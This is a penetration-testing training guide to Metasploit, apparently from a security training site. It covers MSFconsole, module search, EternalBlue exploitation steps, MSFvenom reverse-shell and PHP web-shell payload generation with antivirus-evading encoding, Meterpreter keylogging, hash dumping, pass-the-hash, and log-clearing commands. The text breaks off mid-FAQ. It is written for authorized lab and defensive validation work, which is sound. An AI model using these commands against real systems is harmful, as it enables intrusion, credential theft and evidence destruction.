150+ Metasploit Commands with Examples (2026) | Complete MSFconsole Guide | A7 Security Hunters

A7 Security Hunters · Security Training & Research

Table of Contents

150+ Metasploit Commands with Examples (2026): The Complete MSFconsole & Meterpreter Guide

Learn Metasploit Framework from beginner to advanced: MSFconsole navigation, module management, payloads, auxiliary scanners, Meterpreter post-exploitation, MSFvenom, database integration, and authorized-lab workflows — with 100+ copy-paste commands, comparison tables, troubleshooting, and 40+ FAQs.

150+ Commands40+ FAQs20+ TablesMSFconsoleMeterpreterMSFvenom

⚡ 60-Second Summary

Metasploit is an open-source penetration testing framework (originally created by HD Moore in 2003, now maintained by Rapid7) that helps security professionals identify, validate, and demonstrate vulnerabilities in authorized environments. It bundles exploit modules, payloads, auxiliary scanners, encoders, and post-exploitation tools under one interface called MSFconsole.

  • Start: msfconsole → interactive console for all operations
  • Find modules: search cve:2021 type:exploit then use <module>
  • Configure: set RHOSTS 10.0.0.5set LHOST 10.0.0.10
  • Run: check (safe validation) then exploit or run
  • Interact: sessions -i 1 opens a Meterpreter shell → sysinfo, getuid, shell

Remember one workflow: searchuseshow optionssetcheckrunsessions. Master that loop and everything else is detail.

What you will learnInstallation on Kali, Linux, Windows & macOS, plus database setup and troubleshooting.
Command referenceEssential MSFconsole, module, payload, auxiliary, and Meterpreter commands grouped by purpose.
Authorized labsStep-by-step validation workflows for systems you own or have written permission to test.
Professional contextReporting, remediation, best practices, tool comparisons, and the A7 validation methodology.

Quick Answer: What Is Metasploit?

What is Metasploit?

Metasploit is an open-source penetration testing framework that helps cybersecurity professionals identify, validate, and demonstrate security vulnerabilities in authorized environments. It includes exploit modules, payloads, auxiliary tools, encoders, and post-exploitation capabilities used for security testing, research, and training.

Syntax: msfconsoleuse <module>set <OPTION> <value>run. For example: use auxiliary/scanner/ssh/ssh_versionset RHOSTS 10.0.0.5run.

Why Cybersecurity Professionals Use Metasploit

Metasploit sits at the intersection of enterprise penetration testing, security operations, and cybersecurity education. Professionals use it because it answers one question no scanner can: “Is this vulnerability real and exploitable?”

Vulnerability validation

Scanners produce findings; Metasploit proves or disproves them in a controlled run. A confirmed exploit beats a theoretical CVE match every time.

Exploit development research

The framework’s Ruby module system and the Metasploit Exploit API make it the standard starting point for researching and prototyping new exploits.

Security operations

Blue teams use Metasploit to validate detection coverage: if an authorized exploit fires without alerting, the SOC has a gap to fix.

Training and certification

Metasploit is the backbone of hands-on cybersecurity courses (e.g., OffSec’s OSCP-style labs) and a frequent interview topic for penetration testing roles.

Patch verification

After a vendor patch, re-running the same module proves whether the fix actually closed the hole — a core remediation-validation workflow.

Red team exercises

Combined with C2 frameworks and custom tooling, Metasploit’s post-exploitation and pivoting features support realistic authorized attack simulations.

Our perspectiveIn A7 training, we treat Metasploit as a validation instrument, not a shortcut. Students must first explain why a module might succeed — the protocol, the vulnerability, the expected behavior — before they are allowed to run it.

Features of the Metasploit Framework

Modular architecture

Everything is a module: exploit, auxiliary (scanners, fuzzers, DoS), post (post-exploitation), payload, encoder, evasion, and nop. Modules are Ruby files you can read, modify, and write.

MSFconsole

One interactive shell for searching, configuring, launching, and managing everything — with tab completion, history, resource scripts, and database integration.

Meterpreter

The famous in-memory payload: no disk writes, encrypted channel, dynamic extension loading, and a full post-exploitation command set.

MSFvenom

Standalone payload generation and encoding for any format: EXE, ELF, Mach-O, PowerShell, Python, C, and dozens more — plus AV-evasion encoders for lab testing.

Database & workspaces

PostgreSQL backend stores hosts, services, vulns, credentials, and loot per workspace — turning scans into structured, reportable data.

Scripting & automation

Resource scripts (resource), Ruby scripting (irb, msfconsole -x), and the msfrpc API let you automate repeatable workflows.

Installing Metasploit (Step by Step)

On Kali Linux (pre-installed)

  1. Metasploit Framework ships pre-installed on Kali. Verify with msfconsole --version or msfconsole -v.
  2. Update it along with the system: sudo apt update && sudo apt full-upgrade -y.
  3. Initialize the database: sudo msfdb init (see the database section below).

On Debian / Ubuntu

Install via Rapid7’s apt repository
curl https://apt.metasploit.com/metasploit-framework.gpg.key | gpg --dearmor | sudo tee /usr/share/keyrings/metasploit.gpg > /dev/null
echo "deb [signed-by=/usr/share/keyrings/metasploit.gpg] https://apt.metasploit.com/ bionic main" | sudo tee /etc/apt/sources.list.d/metasploit-framework.list
sudo apt update && sudo apt install -y metasploit-framework

On Windows

  1. Download the Windows installer from metasploit.com (Rapid7 provides a signed .msi).
  2. Run the installer; it bundles PostgreSQL, Ruby, and the Framework. Choose the default installation directory.
  3. Launch “Metasploit Framework Console” from the Start menu, or run msfconsole from a new command prompt.

On macOS

Homebrew install
brew install --cask metasploit

Alternatively use the official macOS installer (.pkg) from metasploit.com. Both give you msfconsole, msfvenom, and the full module set.

Verify the Installation

Version check
msfconsole --version
# Framework: 6.4.x
# Console  : 6.4.x
Quick smoke test
msfconsole -q -x "version; exit"

Installation Troubleshooting

SymptomCauseFix
command not found: msfconsoleFramework not on PATHRe-run installer; on Linux check /opt/metasploit-framework/bin and add to PATH
Database not connected at startupPostgreSQL not initializedRun sudo msfdb init, then db_status inside msfconsole
Ruby errors during installConflicting system RubyUse Rapid7’s bundled installers, which ship their own Ruby
Module database cache not built yetFirst run still caching modulesWait, or rebuild with db_rebuild_cache inside msfconsole
Slow startup on first launchModule parsing of thousands of filesNormal on first run; subsequent starts are fast. Use -q to skip the banner
Windows: Npcap/WinPcap errorsMissing packet capture driverInstall Npcap (also needed by Nmap) and restart the console

Understanding MSFconsole

MSFconsole is where almost all Metasploit work happens. It is a specialized shell with its own command set, tab completion, and a msf6 > prompt (or msf6 auxiliary(...)> / msf6 exploit(...)> once a module is loaded — the prompt tells you which module is active).

Start the console (quiet mode)
msfconsole -q
msf6 >

Console Navigation Essentials

CommandPurposeExample
helpList all console commandshelp
versionShow Framework and console versionsversion
bannerDisplay the MSF bannerbanner
exit / quitLeave the console (sessions stay running in background jobs)exit -y
historyShow command historyhistory -c (clear)
connectRaw TCP/UDP client from within msfconsoleconnect 10.0.0.5 80
spoolWrite all console output to a filespool /tmp/msf-audit.log
resourceRun commands from a resource (.rc) scriptresource /root/scripts/auto.rc
irbInteractive Ruby shell inside msfconsoleirb
load / unloadLoad/unload console pluginsload alias
routeManage routing through sessions for pivotingroute add 10.1.1.0/24 1
colorToggle colored outputcolor true
sleepPause the consolesleep 5
saveSave active options/global settings to configsave
Pro habitStart every engagement with spool engagement-notes.log so your entire console session is automatically documented — this single habit saves hours of report writing.

Essential Metasploit Commands

These are the commands used in nearly every engagement. Master the workflow: search → use → show options → set → check → run → sessions.

CommandPurposeExample
search <terms>Find modules by name, CVE, platform, typesearch cve:2017-0144
use <module>Load a module into the active contextuse exploit/windows/smb/ms17_010_eternalblue
backUnload the active moduleback
infoShow module metadata (description, references, options)info -d (details)
show optionsDisplay the current module’s optionsshow options
show advancedShow advanced/rare optionsshow advanced
show targetsList supported targets of an exploitshow targets
show payloadsList compatible payloads for the loaded exploitshow payloads
set <OPT> <val>Set a module optionset RHOSTS 10.0.0.5
setg <OPT> <val>Set a global option (persists across modules)setg LHOST 10.0.0.10
unset / unsetgRemove a module/global optionunset RHOSTS
get / getgShow the value of an option/globalget LHOST
checkRun the module’s safe detection logic (not all modules support it)check
exploit / runLaunch the module (aliases; use -j to background)exploit -j
sessionsList active sessionssessions -l
jobsList/manage background jobsjobs -k 0 (kill job 0)
loadpathLoad modules from a custom directoryloadpath /opt/mymodules
db_nmapRun Nmap and store results in the databasedb_nmap -sV 10.0.0.0/24
Common beginner mistakeRunning exploit before reviewing show options. Missing RHOSTS or a wrong LHOST is the #1 reason sessions never establish. Read the options table every time.

Search Commands (Finding the Right Module)

Metasploit ships thousands of modules. search is your index — learn its filters and you will never scroll module lists again.

CommandPurposeExample
search <name>Simple name searchsearch eternalblue
search type:<t>Filter by module typesearch type:auxiliary
search platform:<p>Filter by platformsearch platform:windows
search cve:<year> / cve:<yyyy-nnnn>Filter by CVE year or numbersearch cve:2021-44228
search author:<name>Filter by module authorsearch author:hdm
search rank:<rank>Filter by reliability rank (great, good, excellent…)search rank:excellent
search -S <regex>Regex filter on the results listsearch smb -S "login"
search sslFind SSL/TLS-related modulessearch ssl
search name:<term>Filter by module name fieldsearch name:http
search app:<client|server>Filter by application rolesearch app:server
search cve:2021 type:exploit platform:linuxCombine filters
Practical search examples
search cve:2017-0144            # EternalBlue family
search type:auxiliary name:smb
search ms17-010
search cve:2021-44228 type:exploit rank:excellent
Best practiceAlways prefer modules with rank:excellent or rank:great for validation labs — they have the most reliable success history. Reserve rank:manual modules for research, not demonstrations.

Module Management (The Exploit Workflow)

This is the core loop of Metasploit: load a module, configure it, validate it, launch it, and manage the resulting session.

Step-by-Step: Validating a Known Vulnerability

1. Search and load the module
search cve:2017-0144
use exploit/windows/smb/ms17_010_eternalblue
2. Review required options
show options
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
RHOSTS                     yes       Target host(s)
RPORT     445              yes       Target port
LHOST                      yes       Local host for reverse payload
LPORT     4444             yes       Local port for reverse payload
3. Set options
set RHOSTS 10.0.0.5
set LHOST 10.0.0.10
set LPORT 4444
setg LHOST 10.0.0.10   # global: reused by every payload/handler
4. Validate safely, then run
check                # safe detection where supported
exploit -j           # run as a background job
sessions -l          # list resulting sessions

Session Management Commands

CommandPurposeExample
sessions -lList all sessions with IDs and typessessions -l
sessions -i <id>Interact with a session (drop into Meterpreter)sessions -i 1
sessions -k <id>Kill a sessionsessions -k 1
sessions -KKill all sessionssessions -K
sessions -c <cmd>Run a command across sessions without interactingsessions -c "sysinfo"
sessions -u <id>Upgrade a shell session to Meterpretersessions -u 1
backgroundSend current session to the background (Ctrl+Z)background
jobs -lList background jobs (handlers, exploits)jobs -l
jobs -k <id>Kill a background jobjobs -k 1
Note on checkNot every module implements check. When it isn’t supported, MSF prints a warning — treat that as a signal to validate the target manually (version banners, db_nmap output) before launching.

Payload Commands

Payloads are the code executed after an exploit succeeds. Understanding staging, architecture, and connection direction is what separates beginners from professionals.

Payload Families

PayloadTypeUse case
windows/x64/meterpreter/reverse_tcpStaged MeterpreterDefault choice for Windows lab hosts (small stager, in-memory)
linux/x64/meterpreter/reverse_tcpStaged MeterpreterLinux servers and containers
windows/meterpreter/reverse_httpsStaged MeterpreterHTTPS-tunneled comms; blends with web traffic
generic/shell_reverse_tcpStageless shellSimple, reliable shell when Meterpreter isn’t needed
linux/x64/shell_reverse_tcpStageless shellLightweight reverse shell for Linux targets
windows/x64/shell/bind_tcpBind shellWhen outbound connections are blocked (lab only)
php/meterpreter_reverse_tcpStagelessWeb server with PHP execution
java/jsp_shell_reverse_tcpStagelessJava application servers (Tomcat, JBoss)
python/meterpreter/reverse_tcpStagedHosts with Python but no compiler

Staged vs Stageless

  • Staged (e.g., .../meterpreter/reverse_tcp): a small stager downloads the main payload over the network. Small footprint, but requires a second connection and a handler.
  • Stageless (e.g., .../meterpreter_reverse_tcp, note the underscore): the full payload is embedded. Larger, but single-connection and more reliable over unstable links.

The Handler (multi/handler)

When you generate a payload with MSFvenom, you need a listener on your machine to receive the connection:

Standard reverse handler
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.10
set LPORT 4444
exploit -j          # run handler as a background job
Lab-only reminderAll payload and handler examples here assume targets you own or have explicit written authorization to test. Payloads are tools of authorized validation, not of indiscriminate use.

Auxiliary Modules (Scanners, Fuzzers, and Utilities)

Auxiliary modules never deliver a payload — they scan, probe, brute-force, and gather information. They are the safest place to start learning Metasploit because most are non-destructive.

ModulePurposeExample usage
auxiliary/scanner/portscan/tcpTCP port scanset RHOSTS 10.0.0.5; set PORTS 1-1000; run
auxiliary/scanner/ssh/ssh_versionSSH banner/version grabset RHOSTS 10.0.0.5; run
auxiliary/scanner/smb/smb_versionSMB version detection (Windows)set RHOSTS 10.0.0.0/24; set THREADS 16; run
auxiliary/scanner/http/http_titleFetch HTTP titles across hostsset RHOSTS 10.0.0.5; run
auxiliary/scanner/http/dir_scannerDirectory brute forceset RHOSTS 10.0.0.5; set PATH /admin/; run
auxiliary/scanner/mysql/mysql_versionMySQL version detectionset RHOSTS 10.0.0.5; run
auxiliary/scanner/ftp/ftp_versionFTP banner detectionset RHOSTS 10.0.0.5; run
auxiliary/smb/smb_loginSMB credential validation (authorized only)set USER_FILE users.txt; set PASS_FILE pass.txt; set STOP_ON_SUCCESS true; run
auxiliary/scanner/ssl/ssl_versionTLS/SSL version and cipher enumerationset RHOSTS 10.0.0.5; run
auxiliary/scanner/udp/udp_versionUDP service discoveryset RHOSTS 10.0.0.5; run
auxiliary/scanner/dns/dns_enumDNS record enumerationset DOMAIN example.com; run
auxiliary/gather/hashidIdentify password hash typesset HASH '$1$abc$...'; run
Complete auxiliary example — SMB version sweep
use auxiliary/scanner/smb/smb_version
set RHOSTS 10.0.0.0/24
set THREADS 16
run
[*] 10.0.0.5:445  - SMB product: Windows 10 Pro 19041 ...
[*] Scanned 256 of 256 hosts (100% complete)
Start hereIf you are new to Metasploit, spend your first lab session on auxiliary scanners only. They teach RHOSTS/THREADS/run mechanics and database interaction with zero exploit risk.

Meterpreter Basics

Meterpreter is an in-memory, extension-based payload. Once you interact with a session (sessions -i 1), your prompt becomes meterpreter > and a powerful command set is available.

System & Session Commands

CommandPurposeExample
sysinfoOS, architecture, computer name, domainsysinfo
getuidShow current user/SIDgetuid
getprivsList current privilegesgetprivs
getpid / getenvProcess ID / environment variablesgetenv PATH
psList running processesps
migrate <pid>Move to another process (stealth/stability)migrate 1234
kill <pid>Terminate a processkill 5678
getsystemAttempt SYSTEM-level privileges (Windows)getsystem
shellSpawn an interactive OS shellshellexit to return
backgroundReturn to msfconsole (Ctrl+Z)background
idletimeSession idle timeidletime

Filesystem & Network Commands

CommandPurposeExample
pwd / cd / lsFilesystem navigationcd C:\Users
upload / downloadTransfer files to/from the targetupload /tmp/tool.exe C:\Temp\
search -f <name>Search files on the targetsearch -f *.kdbx
cat / editView / edit files in memorycat C:\inetpub\wwwroot\web.config
ipconfig / ifconfigNetwork interface infoipconfig
arp / netstatARP table / network connectionsnetstat -ano
routeShow target routing tableroute
portfwdForward ports through the session (pivoting)portfwd add -L 127.0.0.1 -l 4455 -p 445 -r 10.1.1.5

Post-Exploitation / Collection Commands (Lab Use)

CommandPurposeExample
run post/multi/recon/local_exploit_suggesterSuggest local privilege-escalation exploitsrun post/multi/recon/local_exploit_suggester
run post/windows/gather/hashdumpDump SAM hashes (needs SYSTEM/admin)run post/windows/gather/hashdump
run post/multi/gather/envGather environment variablesrun post/multi/gather/env
run post/windows/gather/wifi_networksSaved Wi-Fi profiles (lab machines)run post/windows/gather/wifi_networks
screenshotCapture the target’s screenscreenshot
keyscan_start / keyscan_dump / keyscan_stopKeylogging (interactive sessions only)keyscan_start
webcam_snap / webcam_streamWebcam capturewebcam_snap
execute -f <cmd>Run a program on the targetexecute -f whoami
clearevClear Windows event logs (document it!)clearev
timestompModify file timestamps (forensics labs)timestomp file.exe -m
Operational honestyCommands like clearev and timestomp destroy evidence and alter audit trails. In authorized assessments, they require explicit client approval and must be logged in the report. In training labs, use them only to understand what attackers do — then restore the VM from a snapshot.

Post-Exploitation Concepts

Post-exploitation is everything after initial access: privilege escalation, lateral movement, persistence, pivoting, and — critically — cleanup. Metasploit supports each phase; professionals plan all of them before launching a single exploit.

Privilege Escalationgetsystem, LPE suggester
Credential Accesshashdump, creds
Lateral Movementpsexec, pass-the-hash
Pivotingroute, portfwd
Cleanupsessions -K, revert

Privilege Escalation (Windows Lab)

Escalate and verify
meterpreter > getsystem
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > run post/multi/recon/local_exploit_suggester

Pivoting Through a Session

Pivoting routes traffic through a compromised (authorized) host to reach networks otherwise unreachable. Two mechanisms: MSF routing and port forwarding.

MSF route through session 1
# from msfconsole
route add 10.1.1.0/24 1
# now scan the new subnet through the session
db_nmap -sV -Pn 10.1.1.0/24
Port forwarding (Meterpreter)
portfwd add -L 127.0.0.1 -l 4455 -p 445 -r 10.1.1.5

Lateral Movement via Pass-the-Hash (Authorized Lab)

Use a dumped hash with psexec
use exploit/windows/smb/psexec
set RHOSTS 10.1.1.10
set SMBDomain WORKGROUP
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:<NTLM_HASH>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.10
run
Scope disciplineLateral movement is exactly where authorized assessments end: never move to a system outside the written scope, even if credentials open the door. That single rule keeps engagements legal and professional.

MSFvenom Basics (Payload Generation)

MSFvenom generates standalone payloads for delivery, testing, and lab exercises. It replaced msfpayload and msfencode in 2015.

CommandPurposeExample
msfvenom -l payloadsList all payloadsmsfvenom -l payloads | grep linux/x64
msfvenom -l formatsList output formatsmsfvenom -l formats
msfvenom -l encodersList encodersmsfvenom -l encoders
msfvenom -p <payload> ... -f <fmt> -o <file>Generate a payload fileSee below
-a <arch>Architecture (x86, x64, armle…)-a x64
--platform <os>Platform (windows, linux, php…)--platform windows
-e <encoder> / -i <n>Encode N times (AV-evasion labs)-e x86/shikata_ga_nai -i 5
-x <template>Embed payload in a template file-x /usr/share/windows-binaries/putty.exe
-b <chars>Bad characters to avoid-b '\x00\x0a'

Practical Generation Examples (Authorized Lab Use)

Linux x64 reverse Meterpreter (ELF)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 \
         -f elf -o shell.elf
Windows x64 reverse Meterpreter (EXE)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 \
         -f exe -o payload.exe
PowerShell one-liner (staged)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 \
         -f psh-reflection -o payload.ps1
Web shell (PHP)
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.0.0.10 LPORT=4444 \
         -f raw -o payload.php
Encoded variant (AV-evasion lab only)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 \
         -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
Then what?Every generated payload needs a matching handler: same PAYLOAD, LHOST, LPORT — see the handler example above. Mismatched handler settings are the most common “no session” cause in labs.

Workspace Management

Workspaces isolate data between projects. Never mix engagements in one workspace — it corrupts reporting and can leak client data between assessments.

CommandPurposeExample
workspaceList workspaces / show currentworkspace
workspace -a <name>Add and switch to a workspaceworkspace -a client-acme
workspace <name>Switch workspaceworkspace lab-01
workspace -d <name>Delete a workspaceworkspace -d client-old
workspace -hShow workspace helpworkspace -h
Engagement start ritual
workspace -a pentest-lab-2026
db_status
spool /root/labs/pentest-lab-2026-console.log

Database Integration (PostgreSQL)

The database turns Metasploit from a command-line toy into an assessment platform: hosts, services, vulns, credentials, and loot are stored, queryable, and exportable.

Setup & Status

CommandPurposeExample
sudo msfdb initInitialize PostgreSQL for Metasploitterminal command
sudo msfdb runStart DB and launch msfconsoleterminal command
sudo msfdb statusCheck DB statusterminal command
db_statusCheck connection inside msfconsoledb_status
db_disconnectDrop the DB connectiondb_disconnect
db_connect <uri>Connect to a specific DBdb_connect postgres:[email protected]/msf

Data Commands

CommandPurposeExample
db_nmap <args>Run Nmap and store resultsdb_nmap -sS -sV -T4 10.0.0.0/24
hostsList known hostshosts -c address,os
servicesList discovered servicesservices -p 445
vulnsList recorded vulnerabilitiesvulns -p 445
credsList harvested credentialscreds -d lab.local
lootList collected files (hash dumps, screenshots)loot
notesAdd/query free-form notesnotes -a "confirmed MS17-010 on host 5"
db_import <file>Import Nmap XML, Nessus, OpenVAS resultsdb_import scan.xml
db_export <file>Export workspace data to XMLdb_export -f xml report.xml
db_rebuild_cacheRebuild the module cachedb_rebuild_cache
Workflow tipdb_nmap -sS -sV -p- --min-rate 2000 <subnet> followed by services and vulns gives you a queryable inventory within minutes — and every result is already structured for the final report.

Reporting Findings

A finding without documentation is not a finding. Metasploit’s database plus disciplined note-taking produces the evidence trail every professional report needs.

Evidence Collection Workflow

  1. Capture evidence: spool console output, save screenshots (screenshot), and download artifacts (download) into a per-host folder.
  2. Store structured data: use creds, loot, and notes so nothing lives only in your memory.
  3. Export: db_export -f xml report.xml for XML evidence or convert to CSV/spreadsheet for the client.
  4. Write the finding: for each vulnerability — title, CVSS score, affected asset, evidence (command + output), impact, remediation, and retest result.
Report evidence commands
notes -a "10.0.0.5: MS17-010 confirmed via check; session 1 (SYSTEM)"
loot                # review collected artifacts
db_export -f xml /root/labs/report-export.xml

Remediation Validation

Every A7 engagement ends the same way: findings → remediation → retest. After the client patches, re-run the exact same module and record that check now reports vulnerable: no. That retest evidence is the most valuable page in the final report.

Common Errors and Troubleshooting

Error / SymptomCauseFix
[-] Exploit failed: The connection was refusedWrong port, service not running, firewallVerify with db_nmap/Nmap first; confirm RPORT
[*] Started reverse TCP handler... [*] Exploit completed, but no session was createdPayload/handler mismatch, blocked outbound port, AV killed the payloadMatch PAYLOAD/LHOST/LPORT exactly; try reverse_https; check target firewall
[!] This module does not support check.Module lacks safe detectionValidate manually (banner, version) before running
[-] The target is not compatible with the selected payloadArchitecture/payload mismatchshow payloads and pick a listed payload
Database not connected / db_status: failedPostgreSQL down or uninitializedsudo msfdb init then db_status
[-] Meterpreter session ... is not valid / broken pipeSession died (service crash, network drop)Check target stability; use sessions -K and re-run
[-] Failed to load pluginPlugin name wrong or missingloadpath or install the plugin; verify with help
getsystem: failedNo privilege-escalation path availableUse local_exploit_suggester or a supported LPE module
msfvenom: Error: invalid payloadTypo or payload not built for that platformmsfvenom -l payloads to confirm the exact name
Handler never receives connectionLHOST set to wrong interface or NATSet LHOST to the listener’s reachable IP; test with nc -lvnp
AV deletes payload.exe instantlySignature detectionLab: encode, use shikata_ga_nai, custom templates; never rely on evasion against production

Best Practices for Authorized Security Testing

✔ Always

  • Document scope, authorization, and rules of engagement in writing
  • Use check before exploit where available
  • Set setg LHOST early to avoid payload/handler mismatches
  • Spool every session; save every artifact
  • Use workspaces per engagement
  • End with remediation and retest evidence

✘ Never

  • Scan or exploit systems outside the written scope
  • Run destructive/DoS auxiliary modules without explicit approval
  • Use clearev or timestomp without documenting and approval
  • Leave sessions or handlers running after the engagement
  • Skip cleanup (kill sessions, remove uploaded files, revert VMs)
  • Report raw output without interpretation and remediation
Beginner insight (from our training)The students who learn fastest treat every failed session as a diagnostic puzzle: check options, check the handler, check the target, check the network — in that order. “Exploit completed but no session” is usually one of those four, not a broken Metasploit.

Metasploit vs Other Security Tools

Core Tool Comparison

ToolPrimary UsePhase
NmapNetwork discovery and port scanningReconnaissance
MetasploitVulnerability validation in authorized environmentsExploitation / validation
Burp SuiteWeb application security testingWeb app assessment
WiresharkNetwork traffic analysisAnalysis / forensics
SQLMapSQL injection testingWeb app exploitation
HydraPassword auditing (authorized systems)Credential testing

Metasploit Framework vs Metasploit Pro

FeatureFramework (free)Pro (commercial)
MSFconsole CLIYesYes
Web interfaceNoYes
Automated workflowsResource scriptsYes (GUI-driven)
ReportingManual (db_export)Built-in report generation
Brute-force & phishing modulesSomeExpanded suite
Best forTraining, research, hands-on testingEnterprise assessment programs

Meterpreter vs Classic Shell Payloads

FeatureMeterpreterShell payload
Disk footprintIn-memory (no file)Often file-based
Post-exploitation toolkitRich (sysinfo, hashdump, migrate)OS shell only
ChannelEncrypted, extensiblePlain TCP
StealthHigher (no disk writes)Lower
ReliabilityNeeds stable channel + stagingSimple, robust

MSFvenom vs Legacy Tools

FeatureMSFvenom (current)msfpayload / msfencode (legacy)
StatusSupported, maintainedRemoved in 2015
Payload + encode in one stepYesNo (two tools)
Format list40+ formatsLimited
Output pipingYes (| msfvenom ...)Yes

Case Study (Authorized Lab Template)

Editorial noteWe publish only case studies from work we actually performed. Use the template below as the skeleton, then fill it with your own documented lab — dates, hostnames, module outputs, and retest results. That original evidence is what builds E-E-A-T.

Scenario: Validating a Known Vulnerability on an Internal Windows Lab

Objective. Confirm whether a patched-and-unpatched pair of lab VMs really differ in exposure, using only the training network we control.

Approach (methodology over exploitation):

  1. Verify the vulnerability: run db_nmap -sV -p 445 <host> and confirm SMB is exposed; check the CVE references in info.
  2. Configure the module: use exploit/windows/smb/ms17_010_eternalblue; review show options; set RHOSTS, LHOST, LPORT.
  3. Review required options: confirm payload compatibility with show payloads.
  4. Run in the authorized lab: check first, then exploit -j.
  5. Confirm findings: sessions -i 1sysinfo + getuid; record both the unpatched success and the patched host’s negative result.
  6. Document remediation recommendations: apply MS17-010 patch, restrict SMB exposure, and re-run check to capture retest evidence.

Key lesson. The patched host returning “no session” is a finding too — it proves the fix works. Validation cuts both ways.

Generic template. Replace with your own lab dates, hostnames, screenshots, and outputs before publication.

The A7 Validation Framework

Our training methodology extends the A7 Recon Framework into exploitation-phase discipline. Every Metasploit exercise follows the same seven gates:

1 · ScopeWritten authorization
2 · DiscoverNmap/db_nmap
3 · IdentifyCVE mapping
4 · Selectsearch + info
5 · Validatecheck + configure
6 · Confirmsession + evidence
7 · Remediatepatch + retest
How students apply itBefore touching a module, students must write one paragraph answering: what is the vulnerability, what does the module do, and what evidence will prove success? If they cannot answer, they do not run it. This single habit eliminates most reckless clicking.

Expert Commentary: A7 Security Hunters’ Perspective

“Beginners often misuse Metasploit by treating it as a magic button — load the module, hit enter, and expect a shell. In training, we reverse that: students must first understand the network, the service, and the vulnerability. Metasploit then becomes what it should be: a precise instrument for validation. Understanding networking before Metasploit is not optional; every ‘no session’ you will ever see traces back to a networking fact you didn’t check.”

— A7 Security Hunters, training team

Documentation equals value

Identifying a vulnerability is the easy part; explaining impact and remediation to a client is the profession. Findings without recommendations are noise.

Validation always precedes remediation

An unvalidated scanner alert is a hypothesis. A confirmed Metasploit session is evidence. Remediation should only ever follow evidence.

Cleanup is part of the test

Leaving handlers running or files on disk turns your assessment into an exposure. Kill sessions, remove artifacts, revert lab VMs.

Research & Industry Context (Verified 2025 Figures)

Metasploit’s core value — validating whether a known vulnerability is actually reachable — maps directly to the two statistics that dominate breach reporting.

20%
of breaches began with exploitation of vulnerabilities as initial access (+34% YoY)
Verizon DBIR 2025
22%
credential abuse — the #1 initial access vector
Verizon DBIR 2025
44%
of breaches involved ransomware (up 37% YoY)
Verizon DBIR 2025
$4.44M
global average cost of a data breach in 2025
IBM Cost of a Data Breach Report 2025
growth of edge-device/VPN vulnerability exploitation targets (3% → 22%)
Verizon DBIR 2025
$1.9M
average savings per breach with extensive AI & automation
IBM Cost of a Data Breach Report 2025

What this means: attackers increasingly reach networks through unpatched, internet-facing services — exactly the class of exposure that Metasploit-based validation (with check, version correlation, and CISA KEV cross-referencing) lets defenders confirm and close before attackers do.

Frequently Asked Questions (40+ Answers)

What is Metasploit?

Metasploit is an open-source penetration testing framework for identifying, validating, and demonstrating security vulnerabilities in authorized environments. It provides exploit modules, payloads, auxiliary scanners, and post-exploitation tooling under the MSFconsole interface.

Is Metasploit free?

Yes — the Metasploit Framework is free and open source. Rapid7 sells Metasploit Pro (commercial) with a web UI and automation; this guide covers only the free Framework.

Is Metasploit legal?

Metasploit is legal security software. Using it against systems you own or have explicit written authorization to test is standard professional practice; using it otherwise may violate computer-misuse laws and terms of service.

What is MSFconsole?

MSFconsole is Metasploit’s primary interactive CLI. You search modules, configure options, launch exploits and scanners, manage sessions and jobs, and run Meterpreter commands from it.

What is Meterpreter?

Meterpreter is an in-memory, extendable Metasploit payload that communicates over an encrypted channel, avoids writing files to disk, and offers a rich post-exploitation command set.

What are payloads in Metasploit?

Payloads are the code that executes on the target after exploitation. They vary by platform, architecture, staging (staged vs stageless), and connection type (reverse, bind).

What are auxiliary modules?

Auxiliary modules perform non-exploit tasks: port scanning, service version detection, brute force, fuzzing, and information gathering. They never deliver a payload.

What is MSFvenom?

MSFvenom is Metasploit’s payload generator/encoder, replacing legacy msfpayload and msfencode. It produces payloads in 40+ formats (EXE, ELF, PS1, PHP, C, and more).

Can beginners learn Metasploit?

Yes, with the right sequence: learn networking and Nmap first, then auxiliary scanners, then simple exploits in an isolated lab, then Meterpreter and post-exploitation. Jumping straight to exploits creates bad habits.

What certifications include Metasploit?

OffSec’s OSCP and related courses, eJPT (INE Security), PNPT (TCM Security), and many vendor security certifications use Metasploit. Check each program’s current syllabus.

What operating systems support Metasploit?

Linux (Kali, Debian/Ubuntu via Rapid7 apt repo), Windows, and macOS all have official support. The Framework is Ruby-based and runs on most Unix-like systems.

How does Metasploit differ from Nmap?

Nmap discovers hosts, ports, services, and OS. Metasploit validates findings with exploits and auxiliary modules. Typical flow: Nmap finds candidates → Metasploit confirms them.

Do I need a database to use Metasploit?

No — core console use works without one. But the PostgreSQL database (msfdb init) adds hosts, services, vulns, creds, and loot, which professional workflows and reporting need.

What is the difference between staged and stageless payloads?

Staged payloads send a small stager that downloads the main payload (small, needs a handler). Stageless payloads embed everything (larger, single connection). Names: meterpreter/reverse_tcp vs meterpreter_reverse_tcp.

What does exploit -j do?

-j runs the module as a background job so the console stays interactive while the exploit and its handler run.

What is a handler?

A handler (exploit/multi/handler) is the listener that catches reverse connections from payloads you generated with MSFvenom. PAYLOAD/LHOST/LPORT must match the generated payload exactly.

What is the difference between exploit and run?

They are aliases in MSFconsole — both launch the loaded module. Some consoles display run for auxiliary modules and exploit for exploit modules, but either works.

What is a resource script?

A .rc file containing MSFconsole commands that executes with resource file.rc (or msfconsole -r file.rc) — the standard way to automate repeatable setups like handlers.

What is getsystem?

A Meterpreter command that attempts to elevate the current Windows session to SYSTEM via known token-impersonation techniques. It fails when no viable path exists — then use local_exploit_suggester.

What is the local_exploit_suggester?

A post module (post/multi/recon/local_exploit_suggester) that inspects the session’s OS and suggests local privilege-escalation modules likely to work.

What does hashdump do?

